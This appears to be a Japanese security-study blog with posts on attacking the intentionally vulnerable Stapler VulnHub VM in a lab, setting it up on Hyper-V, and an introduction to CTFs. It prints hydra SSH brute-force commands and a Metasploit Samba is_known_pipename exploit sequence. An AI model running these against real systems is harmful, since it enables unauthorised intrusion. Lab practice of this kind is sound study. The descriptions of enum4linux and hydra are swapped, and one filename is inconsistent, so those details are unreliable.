家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

SSHに対するパスワードクラック攻撃

概要

以前構築したstaplerの環境に対して、enum4linuxとhydraを使ったパスワードクラックを行います。

 

補足1:enum4linuxとは

ギリシャ神話に登場する9つの首を持つ怪物から名前を取ったと思われるオンラインパスワードクラッカー。

対応プロトコルはTELNET, FTP, HTTP, SMB, MS-SQL, MYSQL, POSTGRES ,VNC, POP3, IMAP,SSH2, SNMP,Cisco 等 多岐に渡る。

scan.netsecurity.ne.jp

 

補足2:hydraとは

Windowsのファイル共有やSambaから情報を取得し列挙(enumerate)するツール。

officialstrotect.net

 

 

 

 

実行結果

youtu.be

 

実行したコマンド

enum4linux 192.168.1.209
cat user.txt | cut -d "\\" -f 2 | cut -d " " -f 1 > userlist.txt
※user.txtはvi等で作成します。

hydra -L ./username.txt -P ./username.txt 192.168.1.209 ssh

※hydraのオプション(-L、-P)は、大文字だとファイル指定で小文字だと文字列指定になります。

 

 

 

Staplerを攻撃する(Sambaの脆弱性)

概要

以前構築したStaplerの環境に攻撃を行ってみました。

 

 

 

実行結果

youtu.be

 

Kali Linux側での実行コマンド

Staplerの情報収集

nmap -n 192.168.1.0/24
nmap -sS -Pn -sV -p- 192.168.1.209
nmap -vvv -A -p 139 192.168.1.209

 
metasploitでの実行コマンド

search pipename
use exploit/linux/samba/is_known_pipename
show options
set rhosts 192.168.1.209
set rport 139
show payloads
set payload cmd/unix/interact
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

また、動画には含まれていませんが、当該脆弱性の攻撃が成立する条件は以下のものがあります。

  1. Valid credentials
  2. Writeable folder in an accessible share
  3. Server-side path of the writeable folder

github.com

 

上記の条件を満たしているかについて、以下のコマンドで任意のファイルがアップロード可能か試すことで確認することができます。

smbclient -L 192.168.1.209
smbclient //192.168.1.209/tmp
※SMB接続後、任意のファイルをアップします
 put test.txt

 

参考にさせていただいたサイト

www.whitehat.de

www.tiger1997.jp

 

 

 

Stapler:1をHyper-V上に構築する

概要

VulnHubは意図的に脆弱性が残された仮想イメージを公開しているプラットフォームです。
「Stapler:1」は、VulnHubにて公開されている仮想イメージの一つです。
この記事では「Stapler:1」をHyper-V上に構築します。

 

 

構築

ファイルのダウンロード

Staplerのサイトから「Stapler.zip」をダウンロードします。

 

(失敗)VHDKをVHDXに変換

以前の方法だと、ダウンロードしたままのファイルではエラーが発生して変換できませんでした。 コンバートの前に少し手順を追加することでコンバートできました。

 

追加の手順:dsfokダウンロード

こちらのサイトよりdsfokをダウンロードします。

 

追加の手順:dsfokによるヘッダの書き換え

ダウンロードしたファイルを解凍し、以下のコマンドを実行します。(コマンドプロンプト使用)

 

dsfo.exe "「.vmdk」ファイルのパス" 512 1024 "descriptor.txt"

 

コマンド実行後、「descriptor.txt」というファイルが作成されます。ファイルをメモ帳で開き、以下の部分をコメントアウトします。

 

descriptor.txtの内容

# Disk DescriptorFile
version=1
CID=97c48ede
parentCID=ffffffff
createType="streamOptimized"

# Extent description
RDONLY 41943040 SPARSE "generated-stream.vmdk"

# The Disk Data Base
#DDB

ddb.adapterType = "lsilogic"
ddb.geometry.cylinders = "2610"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.longContentID = "3d691b663a2d01981d1600b2666014ac"
#ddb.toolsInstallType = "4"•••ここをコメントアウト
ddb.toolsVersion = "10247"
ddb.virtualHWVersion = "12"

 

上記の編集後、以下のコマンドを実行します。

 

dsfi.exe "「.vmdk」ファイルのパス" 512 1024 "descriptor.txt"

VHDKをVHDXに変換

上記実施後は以前と同様にコンバートが可能です。(PowerShell使用)

 

Import-Module "C:\Program Files\Microsoft Virtual Machine Converter\MvmcCmdlet.psd1"

 

ConvertTo-MvmcVirtualHardDisk -SourceLiteralPath 「.vmdk」ファイルのパス -VhdType DynamicHardDisk -VhdFormat Vhdx -Verbose

 

VHDXに変換後は通常の仮想マシンの作成と同様の手順で構築可能でした。 

 

参考にさせていただいたサイト

stackoverflow.com

kb.seeck.jp

blog.myanote.com

www.mysysadmintips.com

 

 

 

CTFについて勉強してみた

概要

CTFとは、capture the flagの略、DEFCONやSECCONをはじめとする、コンピューターのハッキング技術を競うコンテストなどで採用される競技です。

コンピューターセキュリティーに関する攻撃・防御の両方の立場から、暗号、ネットワーク技術、プログラミングなど、さまざまな問題を解くことで技量や知識を競うものです。
kotobank.jp

具体的には、問題を解くことでFlagと呼ばれる文字列を見つけ出し、解答すると点がもらえます。そして参加者同士で点数を競い合うゲームです。
CTFでは、以下の2種類の形式があります。

 

King of hills形式
問題サーバの脆弱性等からフラグを探し出す形式です。

f:id:iestudy:20190515234836j:plain

King of Hillsのイメージ

出典
https://www.slideshare.net/hiromu1996/ctf-32346373

 

Jeopardy形式(ジョパディ、と読むらしいです。)
Jeopardy形式は様々なジャンルの問題があり、それらを回答していく形式です。

f:id:iestudy:20190516002641j:plain

Jeopardy形式のイメージ

問題ジャンルの例

  • Binary
    プログラムの静的解析、リバースエンジニアリングを用いて隠されたフラグを探します。
  • Network
    通信のやり取りをしているログから、フラグやそれを得るための情報を探します。
  • Pwn
    プログラムの脆弱性をついたり、プログラムのバグや、Exploitコードを書いてフラグを探します。
  • Web
    SQLiや、XSSなど、Webアプリケーションに潜む脆弱性をついてWebサーバからフラグとなる情報を探します。
  • Crypto
    暗号化された情報からフラグを探します。

    https://iestudy.hatenablog.com/entry/2019/05/23/000609

  • Stegano
    画像や動画に隠されたフラグを探します。
  • Forensics
    壊れたデータや、ファイルから情報を復元してフラグを探します。
  • Misc
    その他諸々の問題が含まれます。

 

CTFについては、「常設CTF」等と検索するとCTFを体験できるサイトが見つかります。

ksnctf

ksnctf.sweetduet.info

 

akictf

ctf.katsudon.org